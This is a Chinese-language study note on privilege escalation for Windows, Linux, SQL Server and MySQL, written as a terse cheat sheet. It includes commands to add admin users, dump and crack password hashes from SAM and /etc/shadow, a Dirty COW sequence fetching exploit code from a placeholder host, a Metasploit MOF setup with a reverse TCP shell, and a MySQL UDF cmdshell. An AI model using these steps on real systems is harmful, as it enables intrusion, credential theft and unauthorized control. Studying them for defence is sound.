提权初探
参考教程
内网渗透详解
此文作为一个学习笔记
基础命令
whoami # 查看当前用户权限
query user # 查看用户登陆情况
systeminfo # 查看当前系统版本与补丁信息
net user user password /add # 添加用户
net localgroup administrators user /add # 添加到管理员组
net loclagroup "Remote Desktop Users" user /add # 添加到远程桌面组
ipconfig # 查 IP
netstat -ano # 看端口
wmic product get name,version # 看应用
dir c:\ # 看目录
type c:\Users\admin\Desktop\1.txt # 看文件
echo string>2.txt # 写入到文件,特殊字符前需要加 ^
copy 1.txt 3.php # 赋值文件
rename d:\2.txt mspaint.bat # 重命名文件
tasklist # 查看所有进程
taskkill /im xxx.exe /f # 强制结束某个进程
set # 查看环境变量
cat /etc/issue # 查看发行版本
uname -an # 查看内核版本
id/whoami # 当前身份
ip addr/ifconfig # 查 IP
cat /root/.bash_history # 历史命令
dpkg -l # 显示所有软件
权限分类
- 匿名访问权限
- 来并权限
- 用户权限
- 管理员权限 administrator
- 系统权限 root/system
当前权限无法实现我们的目标,如增删改执行等
提权分类
- 本地溢出提权
- 数据库提权
- 第三方软件提权
- 信息泄露
提权 exploit 库
How 怎么提权
基于密码破解的提权
- Windows 密码获取与破解
有 NT-hash 可直接破解,在线网站:cmd5、objectif-securite
--- 获取 Windows hash 与破解
-
SAM、SYSTEM 文件存储位置
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
-
工具抓取 hash
gethashs
、Pwdump
、Wce
等 -
msf 抓取 hash
post/windows/gather/hashdump
-
破解(暴力) hash
工具破解 SAM、SYSTEM 文件
彩虹表破解 -
抓取明文密码
工具抓取:Wce
、getpass
、Mimikatz
- Linux 密码获取与破解
--- 获取 Linux hash 与破解
- 密码文件
Linux 存放密码相关的文件有:/etc/passwd
、/etc/shadow
其中 /etc/passwd
全用户可读, root可写;/etc/shadow
root用户可读写
其中 /etc/passwd
存放用户,以下面的例子为例:
kali:x:1000:1000:Kali,,,:/home/kali:/bin/bash
以冒号为分格,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 文件里面
kali:$6$BiEAYF4pzDp5QJXH$00iURpImugngJWdAraUxBFfU76xovc6mwuQMe479uN28NesybQxOW7TiLxqrn99nJCfvISJtJiXgIjtTicF720:18390:0:99999:7:::
同样以冒号分格,第一列是用户名,第二列是密码
- 破解
$1$ 开头,在线网站破解
其他,工具破解:john
windows 提权
- 信息收集
SAM 文件、日志
- 内核提权
系统信息
-
数据库提权
-
应用提权
Liunx 提权
- Linux 分析工具
- 内核提权(脏牛)
wget https://xxx.com/exp.c
gcc -o exp exp.c
chmod +x exp
./exp
- 软件 CVE
exim cve-2016-1531
- 历史记录提权
/root/.bash_history
等敏感文件可能存有账号密码
SQL Server 提权
- 常用数据库语句
select @@version # 查看数据库版本
exec master..xp_msver # 查看数据库系统参数
sp_helpsrvrolemember # 查看用户所属角色信息
select db_name() # 查看当前数据库
xp_avaliablemedia # 显示驱动器
# 查看当前账户权限
select IS_SRVROLEMEMBER("sysadmin") # serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
select IS_MEMBER("db_owner")
# 添加用户
exec master.dbo.sp_addlogin user,password # 添加用户
exec master.dbo.sp_addsrvrolemember user,password # 添加权限
# 启动/停止服务
exec master..xp_servicecontrol 'start','服务'
exec master..xp_servicecontrol 'stop','服务'
# 检查功能
select count(*) from master.dbo.sysobjects where name="xp_cmdshell" # xp_regread、sp_makewebtask、xp_subdirs、xp_dirtree、sp_addextendedproc
MySQL 提权
- 常用数据库语句
select @@basedir # 数据库目录地址
select @@plugin_dir # 数据库插件 version>5.1
- mof 托管对象提权(c:/windows/system32/wbem/mof/)
msf mof 提权操作
use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit
- udf 用户定义函数提权
导出 c:\\windows\\udf.dll
Create Function cmdshell returns string soname "udf.dll";
select cmdshell("whoami");
drop function cmdshell
一般操作
- 首先前提是有一个低权限的 shell
- 上传/下载 exp 或者一些提权程序
- 执行 exp 或者通过程序执行命令